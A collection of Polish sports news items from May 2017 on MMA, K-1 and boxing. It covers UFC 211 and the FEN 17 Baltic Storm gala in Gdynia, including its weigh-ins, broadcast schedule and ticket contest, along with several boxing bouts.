Chase Sherman pokonał Rashada Coultera przez KO w drugiej rundzie
James Vick pokonał Marco Polo Reyesa przez TKO w pierwszej rundzie
Cortney Casey pokonała Jessicę Aguilar jednogłośną decyzją sędziów
Enrique Barzola pokonał Gabriela Beniteza jednogłośną decyzją sędziów
Gadżhimurad Aritigulow pokonał Joachima Christensena przez poddanie w pierwszej rundzie
fot. sherdog.com
KM
Organizacja Fight Exclusive Night rozpoczęła przygotowania do czwartej tegorocznej gali. Tym razem, 12 sierpnia, odwiedzi Koszalin.
Do tej pory organizacja FEN gościła w ośmiu miastach: Wrocławiu, Sopocie, Lubinie, Bydgoszczy, Kołobrzegu, Gdyni, Warszawie i Katowicach
Letnie uderzenie
Pierwsze słowo organizacja Fight Exclusive Night powiedziała w listopadzie 2013 roku we Wrocławiu. W walce wieczoru zaprezentowali się Patryk Grudniewski i Grzegorz Szulakowski. Ze zwycięstwa cieszył się „Szuli”, który w drugiej rundzie poddał rywala. Warto dodać, że półtora roku później panowie spotkali się na gali KSW. Ponownie lepszy okazał się Szulakowski.
W 2014 roku odbyły się trzy gale organizacji FEN, rok później pięć, z kolei w 2016 roku sześć. O jakość widowiska dbali zawodnicy mający bogate doświadczenie oraz obiecujący młodzi fighterzy. Wśród nich można wymienić: Romana Szymańskiego, Marcina Zontka, Marcina Wójcika, Tomasza Sararę, Marcina Naruszczkę, Iwonę Nierodę czy Igora Kołacina, który w marcu 2016 roku stoczył swoją walkę pożegnalną.
Czas leci nieubłaganie i FEN szykuje kolejne wydarzenie. Gala numer osiemnaście „Summer Edition” odbędzie się 12 sierpnia w Koszalinie. Kogo zobaczymy w akcji? Po raz kolejny gwiazdą wieczoru będzie Kamil Łebkowski, którzy marzy o występach w UFC. „Bomba” zaliczył trzy walki w organizacji FEN, z których dwie zakończyły się jego zwycięstwem. Możliwe, że rywalem 29-latka będzie Sergej Grecicho. Litwin zaprezentował się na gali KSW 26, podczas której pokonał Jakuba Kowalkiewicza. Półtora roku temu doznał porażki z rąk Filipa Wolańskiego na IFN 1.
W Koszalinie miałby wystąpić Bartłomiej Kopera. 24-latek pochodzący z Łodzi chciałby się zrehabilitować za porażkę, której doznał w starciu z Daguirem Imavovem podczas gali FEN 16. Warto dodać, że Francuz zastopował imponującą serię Kopery. Polak wygrał sześć kolejnych walk.
Gdynia szczęśliwa dla Bizewskiego
Najbliższe plany włodarze FEN wyjawili podczas piątkowej (12 maja) gali w Gdyni. Organizacja po raz drugi gościła w Gdynia Arenie. Kilka słów o gali FEN 17. Tak jak i w sierpniu ubiegłego roku, w Gdyni ze zwycięstwa cieszył się Artur Bizewski (K-1, 85kg). Tyle, że tym razem znokautował w drugiej rundzie Marcina Szredera. Podczas poprzedniej wizyty w Gdyni Bizewski wygrał na punkty. Ponownie w Gdynia Arenie triumfowali: Ireneusz Szydłowski (MMA, 77kg) i Jarosław Daschke (K-1, 70kg).
Drugie zwycięstwo w organizacji FEN zanotował Radosław Paczuski (K-1, 85kg), który znokautował w pierwszej rundzie Menno van Roosmalena. Efektowne rozstrzygnięcie Kamila Łebkowskiego (MMA, 66kg). W walce wieczoru Polak szybko odprawił Sauliusa Buciusa. Łebkowski zdobył dominującą pozycję w parterze i posłał w stronę rywala wiele mocnych ciosów.
KM
Częstochowa szczęśliwa dla Ewy Brodnickiej. Populara „Kleo” pokonała Irmę Balijagić Adler i sięgnęła po tymczasowe mistrzostwo świata WBO w wadze super piórkowej.
Boks w kobiecym wydaniu. Ewa Brodnicka wykonuje tytaniczną pracę dla popularyzacji pięściarstwa w wykonaniu pań.
Zadanie wykonane
Spełnić marzenia – z takim założeniem do ringu wchodziła Ewa Brodnicka. W Częstochowie czekała ją trzynasta zawodowa walka, której stawką było tymczasowe mistrzostwo świata WBO w wadze super piórkowej. Aby podjąć wyzwanie, musiała pożegnać się z tytułem mistrzyni Europy. Pas zdobyła w grudniu 2015 roku, kiedy w Łomiankach pokonała Elfi Philips.
W Częstochowie rywalką urodziwej Polki była Irma Balijagic Adler. 35-letnia zawodniczka z Bośni może pochwalić się zdecydowanie większym doświadczeniem niż Brodnicka, gdyż pierwszy zawodowy pojedynek stoczyła w kwietniu 2007 roku („Kleo” debiutowała w lutym 2013 roku). Dla Adler nie była to pierwsza walka o stawkę, jednak o wcześniejszych starciach wolałaby zapomnieć. Ostatnie lata dla reprezentantki Bośni to występy w kratkę. Wygrała dwie z pięciu walk, a stawką trzech pojedynków były pas. W październiku 2015 roku Adler pokonała Mirjanę Vujić i zdobyła tytuł World Boxing Foundation w wadze lekkiej.
Brodnicka była zdeterminowana. W drodze na ring towarzyszyła jej piosenka Czerwonych Gitar „Nikt na świecie nie wie”. Polka agresywnie i odważnie rozpoczęła pojedynek. Widać było, że 32-letnia „Kleo” jest głodna walki. Lewy sierpowy i lewy podbródkowy często dochodziły do celu. Można stwierdzić, że Adler była zaskoczona aktywnością Polki. 35-latka reprezentantka Bośni starała się znaleźć przestrzeń dla siebie, ale była tłem dla energicznej Brodnickiej. Na półmetku starcia przewaga Polki nie podlegała dyskusji. Zastrzeżenia można było mieć do tempa walki, które nie porywało. W szóstej rundzie Brodnicka przyspieszyła, trafiała i unikała kontrataków. Adler przyjmowała kolejne ciosy, ale twardo trzymała się na nogach. Przewaga „Kleo” nie podlegała dyskusji. W dziewiątej rundzie Brodnicka opuściła nieco prowokacyjnie ręce i czekała na atak rywalki. Adler była jednak ostrożna oraz uważna, bo za chwilę kolejne ciosy w jej stronę posłała Polka. Warto zaznaczyć, że walka była czysta. Sędzia był praktycznie obserwatorem, nie musiał interweniować, gdyż zawodniczki nie klinczowały. Do końca Brodnicka kontrolowała przebieg walki i osiągnęła swój cel. Wszyscy sędziowie punktowali 100:90 dla Polki.
Młodzieżowy mistrz
Przed szansą zdobycia pasa młodzieżowego mistrza świata WBO w wadze półciężkiej stanął Robert Parzęczewski. 23-letni bokser ostatnie pięć pojedynków wygrał przed czasem. Parzęczewski górował warunkami fizycznymi nad Zurą Mekereshvilim. Polak chciał wykorzystać swoją przewagę, częściej uderzał i był zdecydowanie szybszy. Gruzin dał o sobie znać w piątej odsłonie. Parzęczewski nieco otworzył się, co chciał wykorzystać rywal. Jednak nadal Polak był stroną, która dyktowała tempo walki. Na punkty zdecydowanie prowadził Parzęczewski, lecz kibice czekali na kończący cios. Gruzin twardo trzymał się na nogach i wytrzymał pełne dziesięć rund. Nie było żadnych wątpliwości, do kogo powędruje pas. Parzęczewski młodzieżowym mistrzem świata WBO.
W Częstochowie kolejne wygrane na swoim koncie zapisali: Michał Żuromiński (półśrednia), Marcin Siwy (ciężka) i Tomasz Gromadzki (super średnia).
KM
Brazylijczyk Caio Machado, który prawdopodobnie padł ofiarą oszustów, nie wystąpi jutro w walce wieczoru gali FEN 17 Baltic Storm w Gdynia Arena. W zastępstwie za Brazylijczyka z Kamilem „Bombą” Łebkowskim zmierzy się doświadczony litewski wojownik, specjalista od szybkich poddań i nokautów Saulius Bucius.
„Caio Machado i jego trenerzy, bez względu na udział tego zawodnika w gali FEN 17 Baltic Storm, mieli już dawno zaplanowany w tym czasie przyjazd do Europy, dlatego na własną rękę z pomocą swojego sponsora organizowali sobie lot przez Atlantyk. My, zgodnie z umową, zabukowaliśmy im bilety na połączeniach lokalnych. Niestety, Brazylijczycy prawdopodobnie zostali oszukani przez agencję pośredniczącą w sprzedaży biletów lotniczych, stracili dużo czasu, próbując wyjaśnić sprawę, za późno dali nam znać o swoich problemach i ostatecznie nie udało nam się już im pomóc, tak aby na czas dolecieli do Polski. Caio Machado na pewno jednak pojawi się na jednej z naszych kolejnych gal” – wyjaśnia prezes FEN Paweł Jóźwiak.
W zastępstwie za Caio Machado nowym przeciwnikiem Kamila Łebkowskiego będzie doświadczony litewski fighter Saulius Bucius (29 lat, 180 cm, 13-11-1). Dla reprezentanta klubu The Knight of Plunge będzie to trzecia walka z zawodnikiem z Polski i jednocześnie trzecia w naszym kraju – w poprzednich latach w Gdyni mierzył się z późniejszym zawodnikiem UFC Łukaszem Sajewskim, a w Toruniu z Krzysztofem Klaczkiem. W swojej bogatej karierze Litwin walczył też na galach w Anglii, Francji, Rosji, Finlandii i Czechach. Bucius ma na koncie 13 zwycięstw, z których aż 12 odniósł przez nokaut lub poddanie, 11 porażek i 1 remis. Z pięciu ostatnich walk wygrał cztery – ostatnie zwycięstwo odniósł miesiąc temu, na gali King of The Cage: Baltic Tour, nokautując w pierwszej rundzie Rosjanina Baburmirzo Abdufataeva.
Kamil Łebkowski (29 lat, 178 cm, 15-5) to z pewnością jeden z najgroźniejszych i najbardziej zmotywowanych przeciwników w długiej karierze Saliusa Buciusa. Zawodnik klubu Dziki Wschód Biała Podlaska po niedawnej porażce na punkty z Brazylijczykiem Gabrielem „Gabito” Silvą, która przerwała jego imponującą serię 10 wygranych walk z rzędu, będzie chciał na gali FEN 17 Baltic Storm wrócić na zwycięską ścieżkę i zbliżyć się do realizacji swojego marzenia o debiucie z UFC. Przegrana z bratem słynnego Ericka Silvy oddaliła „Bombę” od tego celu, ale najlepszy piórkowy polskiego MMA, który w CV ma efektowne zwycięstwa nad takimi rywalami, jak Japończyk Yoshihiro Koyama, znokautowany na gali WSOF Global Championship 2 w Tokio, czy były fighter UFC Piotr Hallmann, którego wypunktował na gali FEN 13 Summer Edition, w Gdynia Arena postara się udowodnić, że jego kontrakt z amerykańskią federacją to tylko kwestia czasu.
W pozostałych walkach na zasadach MMA na gali FEN 17 Baltic Storm zmierzą się m.in. Piotr Hallmann z Patrykiem Nowakiem, Michał Wlazło z Czechem Martinem Chudejem, Michał Oleksiejczuk z Włochem Riccardo Nosiglią, Aleksander Georgas z Ukraińcem Alexeyem Oleinikiem oraz Ireneusz Szydłowski z Dmitriyem Borsukiem z Ukrainy. Z kolei w formule K-1 w Gdynia Arena walczyć będą jutro tacy znakomici zawodnicy, jak Radosław Paczuski, Jarosław Daschke, Marcin Szreder, Artur Bizewski i Kryspin Kalski. Pełny fight card gali na oficjalnej stronie FEN.
Bilety na galę FEN 17 można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
Już jutro na gali FEN 17 Baltic Storm po raz pierwszy w historii organizacji Fight Exclusive Night zawodnicy będą walczyć w klatce. W Gdynia Arena kibice obejrzą 13 pojedynków MMA i K-1, których bohaterowie dziś popołudniu stanęli ze sobą twarzą w twarz podczas oficjalnej ceremonii ważenia.
Tradycyjnie już uczestnicy gali Fight Exclusive Night mogli wejść na wagę zarówno podczas porannej sesji w hotelu, jaki oficjalnej ceremonii w Gdynia Arena. W swoich limitach wagowych zmieścili się wszyscy zawodnicy. Podczas popołudniowego ważenia ogłoszona została zmiana przeciwnika dla Kamila Łebkowskiego w walce wieczoru jutrzejszych zawodów – Brazylijczyka Caio Machado, który z powodów komplikacji związanych z podróżą do Europy nie dotarł na czas do Gdyni, zastąpi litewski specjalista od szybkich poddań i nokautów Saulius Bucius. Z tego względu dla main eventu FEN 17 Baltic Storm ustalono catchweight w limicie 74 kg.
FEN 17 Baltic Storm: wyniki ważenia
MMA -74 kg: Saulius Bucius (74,0 kg) vs Kamil Łebkowski (73,5 kg)
MMA -120 kg: Martin Chudej (120,0 kg) vs Michał Wlazło (120,1 kg)
K-1 -85 kg: Menno Van Roosmalen (84 kg) vs Radosław Paczuski (85,1 kg)
MMA -93 kg: Ricardo Nosiglia (93,0 kg) vs Michał Oleksiejczuk (93,1 kg)
K-1 -95 kg: Artur Bizewski (94,4 kg) vs Marcin Szreder (94,9 kg)
K-1 -70 kg: Robert Rajewski Jr (70,2 kg) vs Jarosław Daschke (70,0 kg)
MMA -70 kg: Patryk Nowak (70,2 kg) vs Piotr Hallmann (70,2 kg)
K-1 -120 kg: Mateusz Łazowski (100,6 kg) vs Kryspin Kalski (104,8 kg)
MMA -66 kg: Alexey Oleinik (66,2 kg) vs Aleksander Georgas (66,2 kg)
MMA -84: Bartosz Leśko (84,1 kg) vs Aleksander Rychlik (83,9 kg)
MMA -77 kg: Dmitriy Borsuk (77,0 kg) vs Ireneusz Szydłowski (77,1 kg)
K-1 -70 kg: Kamil Mateja (69,4 kg) vs Alan Kwieciński (70,2 kg)
MMA -77 kg: Adam Brzezowski (76,5 kg) vs Damian Tarabasz (76,7 kg)
FEN
Kiedy dwóch wojowników MMA wagi ciężkiej staje naprzeciwko sobie w klatce, wszystko jest możliwe. Jaką receptę na pokonanie Czecha Martina Chudeja będzie miał Michał Wlazło podczas dzisiejszej gali FEN 17 Baltic Storm w Gdynia Arena?
Bilety do kupienia na Eventim.pl (http://goo.gl/j0EA4n) i KupBilet.pl (http://goo.gl/i6vKYs) oraz w kasie hali Gdynia Arena.
[kod]
Przedstawiamy szczegółowy plan wydarzeń oraz transmisji telewizyjnych na żywo z dzisiejszej gali FEN 17 Baltic Storm w Gdynia Arena.
Gala FEN 17 Baltic Storm – Gdynia Arena, ul. Kazimierza Górskiego 8, Gdynia
godz. 15:00 – otwarcie kas
godz. 17:45 – otwarcie bram hali
godz. 18:00 – rozpoczęcie gali
godz. 18:05 – karta wstępna
godz. 19:00 – start transmisji w Polsat Sport Fight i Ipla.tv
godz. 20:00 – ceremonia otwarcia / start transmisji w Polsat Sport
godz. 20:30 – karta główna
godz. 21:00 – start transmisji w Super Polsat
godz. 23:30 – walka wieczoru
FEN After Party – Unique Club & Lunge, Plac Zdrojowy 1, Sopot
Po porażce z Brazyliczykiem Gabrielem Silvą czołowy piórkowy polskiego MMA Kamil Łebkowski dziś wieczorem w Gdynia Arena musi pokonać Litwina Sauliusa Buciusa, aby jego plany znalezienia się w UFC nie pozostały tylko w sferze marzeń. Zobaczcie zapowiedź walki wieczoru gali FEN 17 Baltic Storm!
Bilety do kupienia na Eventim.pl (http://goo.gl/j0EA4n) i KupBilet.pl (http://goo.gl/i6vKYs) oraz w kasie hali Gdynia Arena.
[kod]
Krzysztof „Diablo” Włodarczyk dał swoim kibicom wiele radości. Bokser zapisał na swoim koncie tytuły mistrza świata WBC i IBF. Czy to już tylko wspomnienie? 20 maja w Poznaniu stoczy pojedynek, który może być dla niego przepustką do kolejnych sukcesów. Rywalem Polaka będzie Noel Gevor.
Gdy wydawało się, że kariera Włodarczyka znalazła się na zakręcie, on wrócił i zaczął boksować. Krok po kroku dochodził do formy. Nigdy nie ukrywał, że chciałby wrócić do światowej czołówki.
Zrobić krok w kierunku walki o pas
Sześć razy skutecznie bronił pasa WBC. Tytuł wywalczył w maju 2010 roku, kiedy w Łodzi w ósmej rundzie pokonał Giacobbe Fragomeniego. Później tytuł próbowali mu odebrać Jason Robinson, dwukrotnie Francisco Palacios, Danny Green, Rakhin Chakhiev i raz jeszcze Polak spotkał się z Fragomenim. Trzy z tych walk „Diablo” wygrał przed czasem. Pasa WBC bronił w Polsce, Australii, Rosji i USA. Wydawało się, że nikt nie będzie w stanie mu odebrać tytułu mistrzowskiego. 27 września 2014 roku Włodarczyk spotkał się w Moskwie z Grigorym Drozdem. Polak był cieniem samego siebie i przegrał na punkty.
Później zniknął na pół roku. Miał stoczyć rewanżowy pojedynek z Drozdem, ale rozchorował się. W grudniu 2015 roku planowano starcie Włodarczyka z Beibutem Szumenowem, jednak ten doznał kontuzji kolana. W końcu „Diablo” pojawił się w ringu w marcu w Sosnowcu i odprawił przed czasem Valery'ego Brudowa. Wielu podkreślało, że jeszcze sporo wody musi upłynąć w Wiśle, zanim były mistrz świata wrócić do optymalnej formy. Włodarczyk stoczył jeszcze dwie wygrane walki. W tym roku jeszcze nie walczył, w ringu pojawi się 20 maja.
Rywalem Włodarczyka w Poznaniu będzie Noel Gevor. Jeśli Polak wygra, mogą otworzyć się przed nim nowe możliwości. W wieku blisko 36 lat może po raz kolejny zaatakować mistrzostwo świata i duże pieniądze.
Kasa na stół!
26-letni Gevor stoczył dotychczas 22 zwycięskie walki, nie zanotował żadnej porażki. Reprezentant Niemiec urodzony w Armenii może pochwalić się pasem WBO International kategorii junior ciężkiej, który wywalczył półtora roku temu. Doświadczeniem Włodarczyk bije rywala na głowę.
Wygrana w Poznaniu pozwoli „Diablo” stać się pretendentem do tytułu IBF, który obecnie posiada Murat Gasijew. Ale na tym nie koniec. Projekt pięściarski firmy Comosa AG zakłada organizację turnieju w trzech kategoriach wagowych, wśród nich ma być waga junior ciężka. Dla Polaka uczestnictwo w zmaganiach stanowiłoby szansę na powrót na szczyt i ogromny prestiż. Nie wiadomo, czy Włodarczyk znajdzie się w gronie ośmiu zawodników, ale ma na to szanse. Na zwycięzcę turnieju czekać będzie dziesięć milionów dolarów.
KM
30 czerwca w Monako w pojedynku na zasadach K-1 Dawid Kasperski spotka się z Gregory'm Grossim. Stawką walki będzie pas mistrza świata WAKO-Pro.
Kolejne wyzwanie przed zawodnikiem Punchera Wrocław. Za każdym razem w krajowych potyczkach Dawid Kasperski potwierdza swoją dominację, również na arenie europejskiej pokazuje klasę. Czy w Monako zachwyci kibiców?
Po kolejne zwycięstwo
W marcu zawodnik Punchera Wrocław udał się do Holandii, aby podpatrywać i trenować razem z utytułowanym Nicolaasem Holzkenem. 33-latek zdobywał doświadczenie w kickboxingu i boksie. Przez wiele lat był niepokonany w organizacji Glory. Dwa tygodnie w Holandii dały potężny zastrzyk energii Kasperskiemu, który w kwietniu zaprezentował się na gali Perun Fight Night 2. Polak mógł wznieść ręce w geście triumfu po walce z Adrianem Valentiną. Warto dodać, że na słowackiej gali zaprezentował się również Arkadiusz Kaszuba, który wygrał swój pojedynek.
W tym roku Dawid Kasperski sięgnął po mistrzostwo Polski K-1 w kategorii 86kg. Trzy walki, trzy zwycięstwa i wszystko było jasne. Tak prezentuje się mistrz Polski K-1. Zdecydowany, pewny i skuteczny. Czy tak będzie w Monako? 30 czerwca na gali Monte-Carlo Fighting Trophy „Clash of the Titans” rywalem 26-latka będzie Francuz Gregory Grossi. Zwycięzca będzie mógł szczycić się posiadaniem pasa mistrzowskiego WAKO-Pro.
Cel jest oczywisty. Dawid Kasperski mierzy w piąte zwycięstwo z rzędu.
Doświadczony rywal
Z roku na rok Kasperski wygląda coraz lepiej. Trzeba jasno powiedzieć, że Polak należy do ścisłej czołówki wagi półciężkiej w Europie. Ale w Monako nie będzie miał łatwego zadania. Wiadomo, że chcąc się doskonalić musi pokonywać mocnych rywali. Stać go na to, co potwierdził w sierpniu ubiegłego roku, kiedy na gali Superkombat pokonał Alexandru Negrea.
Najbliższy rywal Polaka, Gregory Grossi jest wysoki, mierzy 195 cm. W 2011 roku sięgnął po brąz mistrzostw świata WAKO. 33-latek zdobywał również mistrzostwo Europy WAKO, a także tytuł czempiona globu organizacji WKN i IFMA. Stoczył ponad 80 walk, z których 71 zakończyło się jego triumfem.
KM
Oficjalny media trening – Energy Club, ul. Wendy 19, Gdynia, środa, 10 maja, godz. 17:00
Podczas czwartkowego media treningu przed kibicami i dziennikarzami zaprezentuje się połowa uczestników gali FEN 17 Baltic Storm. W gdyńskim Energy Clubie pojawi się siódemka zawodników MMA: Michał Wlazło, Piotr Hallmann, Aleksander Georgas, Ireneusz Szydłowski, Bartosz Leśko, Dmitriy Borsuk, Damian Tarabasz oraz jego przeciwnik Adam Brzezowski. Spośród walczących w piątek fighterów K-1 próbkę swoich umiejętności zademonstrują Jarosław Daschke, Kryspin Kalski, Artur Bizewski, Alan Kwieciński i jego rywal Kamil Mateja.
Oficjalna ceremonia ważenia – Gdynia Arena, ul. Kazimierza Górskiego 8, Gdynia, czwartek, 11 maja, godz. 15:30
Tradycyjnie już zawodnicy walczący na gali Fight Exclusive Night będą mogli wejść na wagę już rano w hotelu, dzięki czemu będą mieć więcej czasu na regenerację i odpowiednie przygotowanie się do czekającej ich nazajutrz walki. Jeśli podczas dwugodzinnej sesji porannej fighterzy nie zmieszczą się w limitach wagowych dla swoich kategorii, ostatnią szansę zważenia się będą mieć podczas popołudniowej, otwartej dla mediów i publiczności oficjalnej ceremonii ważenia w Gdynia Arena.
Wstęp na oba wydarzenia jest wolny, zarówno dla kibiców, jak i dziennikarzy. Wszystkich, którzy nie będą mogli przybyć na media trening lub ceremonię ważenia, zapraszamy do śledzenia transmisji na żywo – relacje online przeprowadzi telewizja Fightime.pl i będzie je można śledzić na fanpage’u FEN oraz stronie Fightime.pl.
Bilety na galę FEN 17 Baltic Storm można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
W najbliższą sobotę, 13, maja Joanna Jędrzejczyk stanie do piątej obrony mistrzowskiego tytułu wagi słomkowej. Na gali UFC 211 Polka zmierzy się z Jessicą Andrade. W Dallas zaprezentuje się również Krzysztof Jotko.
To może być polska noc w UFC. Jędrzejczyk urosła do miany gwiazdy kobiecego MMA, zaś Jotko coraz pewniej poczyna sobie w wadze średniej. Czy 27-latek z Ornety zrobi kolejny krok w kierunku walki o pas?
Wspomnienia z Dallas
29-letnia zawodniczka pochodząca z Olsztyna stoczy swoją 14 walkę w karierze. Do tej pory nie poniosła żadnej porażki. Jeśli wygra z Andrade, przybliży się do rekordu Rondy Rousey, która sześć razy skutecznie broniła tytułu w kategorii koguciej. Warto zwrócić uwagę, że gala UFC 211 odbędzie się w Dallas, gdzie Jędrzejczyk ponad dwa lata temu wywalczyła pas wagi słomkowej. W drugiej rundzie zasypała ciosami Carlę Esparzę i wygrała przed czasem.
Najbliższą rywalką Polki będzie Jessica Andrade. 25-letnia Brazylijka ma na swoim koncie 21 walk, z których 16 wygrała. Ostatnie miesiące w wykonaniu Andrade są imponujące. Wygrała trzy walki, w tym dwie przed czasem. W ostatnim występie okazała się lepsza od Angeli Hill. Ostatnią porażkę na swoim koncie Brazylijka zapisała we wrześniu 2015 roku, kiedy to musiała uznać wyższość Raquel Pennington.
Występ w Dallas może być wyjątkowy dla Krzysztofa Jotko. Jeśli wygra, jego marzenia o walce o pas mistrzowski mogą stać się realne. 27-letni Jotko spisuje się fantastycznie w UFC. Wygrał pięć kolejnych pojedynków. W ostatnim starciu, UFC Fight Night 100, pokonał doświadczonego Brazylijczyka Thalesa Leitesa. Teraz Polak stanie naprzeciw Davida Brancha, który wraca do UFC. 35-latek ostatni pojedynek w amerykańskiej organizacji stoczył 3 marca 2011 roku. Musiał wtedy pogodzić się z porażką w starciu z Rousimarem Palharesem. Jednak nie zginął z pola widzenia. Branch występował z powodzeniem na galach prestiżowej organizacji WSOF i zapisał na swoim koncie mistrzowskie pasy wagi średniej i półciężkiej. Może pochwalić się imponującą serią dziesięciu wygranych z rzędu.
Rocznica Miocica
14 maja 2016 roku Stipie Miocic pokonał na gali UFC 198 w Kurytybie Fabricio Werduma i sięgnął po pas mistrzowski w wadze ciężkiej. Dotychczas bronił go raz. Amerykanin efektownie pokonał Alisatiara Overeema.
W Dallas zmierzy się z Juniorem dos Santosem, któremu będzie chciał się zrewanżować za porażkę z grudnia 2014 roku. Dla Brazylijczyka to kolejna szansa na odzyskanie mistrzowskiego tytułu. 33-latek stracił pas ponad cztery lata temu w starciu z Cainem Velasquez. Próbował odzyskać tytuł, ale bezskutecznie. Czy tym razem dos Santos będzie miał powody do radości?
Karta walki gali UFC 211:
Walka o pas wagi ciężkiej
265 lb: Stipe Miocic – Junior dos Santos
Walka o pas wagi słomkowej kobiet
115 lb: Joanna Jędrzejczyk – Jessica Andrade
170 lb: Demian Maia – Jorge Masvidal
145 lb: Yair Rodriguez – Frankie Edgar
125 lb: Henry Cejudo – Sergio Pettis
155 lb: Eddie Alvarez – Dustin Poirier
145 lb: Chas Skelly – Jason Knight
185 lb: Krzysztof Jotko – David Branch
155 lb: James Vick – Polo Reyes
115 lb: Jessica Aguilar – Cortney Casey
145 lb: Michel Quinones – Jared Gordon
265 lb: Chase Sherman – Rashad Coulter
145 lb: Enrique Barzola – Gabriel Benitez
205 lb: Gadżimurad Antigulow – Joachim Christensen
Fot. Facebook Joanny Jędrzejczyk
KM
Piątkową galę FEN 17 Baltic Storm w Gdynia Arena będzie można oglądać na żywo w trzech stacjach telewizji Polsat i na platformie internetowej Ipla.tv, a relację online z dzisiejszego media trening i jutrzejszej ceremonii ważenia na fanpage’u FEN przeprowadzi Fightime.tv. Oto szczegółowa rozpiska planowanych transmisji live.
Oficjalny media trening (środa, 10 maja, Energy Club Gdynia) fanpage FEN – początek transmisji o godz. 17:00
Oficjalna ceremonia ważenia zawodników (czwartek, 11 maja, Gdynia Arena): fanpage FEN – początek transmisji o godz. 15:30
Gala FEN 17 Baltic Storm (piątek, 12 maja, Gdynia Arena):
Polsat Sport Fight – początek transmisji o godz. 19:00 (karta wstępna, ceremonia otwarcia, karta główna i walka wieczoru)
Polsat Sport – początek transmisji o godz. 20:00 (ceremonia otwarcia, karta główna i walka wieczoru)
Super Polsat – początek transmisji o godz. 21:10 (karta główna i walka wieczoru)
Ipla.tv – początek transmisji: godz. 19:00 (karta wstępna, ceremonia otwarcia, karta główna i walka wieczoru)
Przypominamy, że wstęp na dzisiejszy media trening i jutrzejszą ceremonię ważenia jest wolny dla mediów i kibiców. Bilety na piątkową galę FEN 17 Baltic Storm można jeszcze kupować w serwisach Eventim.pl oraz KupBilet.pl.
Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.
FEN
12 maja w Gdynia Arena odbędzie się gala FEN 17: Baltic Storm. Mocna karta walka ma być gwarantem ogromnych emocji. Chcesz przeżyć je z bliska? Nic prostszego! Weź udział w naszym konkursie, w którym do wygrania osiem pojedynczych wejściówek na galę FEN 17.
Organizacja Fight Exclusive Night nie zwalnia tempa. To już trzecia tegoroczna gala FEN. Wcześniejsze odbyły się w Lubinie i w Warszawie.
Mocna karta walk
Fight Exclusive Night stara się oferować widzom różnorodność, dlatego organizacja postawiła na rywalizację w MMA i K-1. W karcie walk pojawiają się coraz ciekawsze nazwiska, które są gwarantem wspaniałego widowiska.
12 maja w pojedynku wieczoru zobaczymy Kamila Łebkowskiego, który zmierzy się Caio Machado. 29-letni Polak stoczył dwie walki dla FEN. W debiucie decyzją sędziów pokonał Piotra Hallmanna, a w Warszawie uległ Gabrielowi Silvie. Caio Machado to ogromny talent brazylijskiego MMA, któremu znawcy wróżą przyszłość w UFC. Wygrał 10 z 13 walk. Rodzimej publiczności będzie mógł się zaprezentować Piotr Hallmann. W ostatnich pięciu walkach 29-latek odniósł tylko jedno zwycięstwo. Były zawodnik UFC zrobi wszystko, aby triumfować w Gdyni. Jego rywalem będzie Patryk Nowak.
W K-1 zobaczymy Radosława Paczuskiego (85kg). Na FEN 16 zawodnik z Warszawy poradził sobie z Georgem Daviesem. W Gdyni Polak zmierzy się z silnym Menno Van Roosmalenem. Holender ma w pamięci porażkę z Dawidem Kasperskim, której doznał jesienią ubiegłego roku. W ostatnim występie 26-latek znokutował Steve'a Beirę. Ciekawie zapowiada się starcie Marcina Szredera z Arturem Bizewskim. Będzie to drugie spotkanie kickboxerów. Na gali FEN 13 lepszy okazał się Bizewski. Występy obu zawodników można było śledzić podczas marcowej gali w Warszawie. Szreder pewnie wypunktował Ayataka Yahsima, z kolei Bizewski przegrał z Arkadiuszem Wrzoskiem.
12 maja kibice będą świadkami rywalizacji w oktagonie, który zastąpi klatkoring.
Karta walk gali FEN 17: Baltic Storm:
MMA 66 kg: Kamil Łebkowski vs. Caio Machado
MMA 120 kg: Michał Wlazło vs. Martin Chudej
MMA 93 kg: Michał Oleksiejczuk vs. Ricardo Nosiglia
K-1 85 kg: Radosław Paczuski vs. Menno Van Roosmalen
MMA 70 kg: Piotr Hallmann vs. Patryk Nowak
K-1 70 kg: Jarosław Daschke vs. Robert Rajewski
K-1 95 kg: Marcin Szreder vs. Artur Bizewski
K-1 120 kg: Kryspin Kalski vs. Mateusz Łazowski
MMA 66 kg: Aleksander Georgas vs. Jakub Kowalewicz
MMA 84 kg: Aleksander Rychlik vs. Bartosz Leśko
MMA 77 kg: Ireneusz Szydłowski vs. Dmitrij Borsuk
K-1 70 kg: Alan Kwieciński vs. Kamil Mateja
MMA 77 kg: Damian Tarabasz vs. Adam Brzezowski
KONKURS!
Chcesz z bliska śledzić rywalizację na gali FEN 17? Nic prostszego! Zapraszamy do udziału w naszym konkursie! Wystarczy, że 9 maja o godz. 16.00 wyślesz maila na adres: k.malkinski@marklaw.pl, a w treści podasz imię, nazwisko i numer telefonów. W puli mamy osiem pojedynczych wejściówek. O zwycięstwie decyduje kolejność zgłoszeń.
Konkurs rozstrzygnięty – bilety zostały rozdane.
KM
Kolejny potężny cios zostanie wyprowadzony w świecie boksu. 16 września w Las Vegas zmierzą się Giennadij Gołowkin i Saul Alvarez.
O tym pojedynku mówiło się od dłuższego czasu. Niektórzy zdążyli już zwątpić w powodzenie negocjacji między obozami Gołowkina i Alvareza. W końcu nastąpił przełom i 16 września dojdzie do wojny o panowanie w wadze średniej.
Starcie gigantów
Wszyscy szykują się na prawdziwe bokserskie widowisko. Już dziś walka Gołowkina i Alvareza urasta do miana hitu jesieni. Z pewnością pięściarzy stać na to, aby zaspokoić publiczność zgromadzoną w Las Vegas i przed telewizorami. W końcu mówimy o dwóch mocnych nazwiskach.
O tym, że „coś w trawie” piszczy mówiło się wielokrotnie. Pisaliśmy o tym tu. Jak wiadomo, w takich przypadkach przeszkód nie brakuje. Nie da się ukryć, że ważnym elementem rozmów są pieniądze. Na początku 2016 roku na przeszkodzie stanęły właśnie finanse. Gołowkin nie był zadowolony z przedstawionej oferty, a „Canelo” cały czas czekał i w końcu Meksykanin musiał oddać pas wagi średniej WBC. We wrześniu ubiegłego roku Kazach spotkał się z Kellem Brookiem i rozbił go w piątej rundzie. Następnie pokonał Daniela Jacobsa, choć w opinii wielu niemiłosiernie męczył się z 30-letnim Amerykaninem.
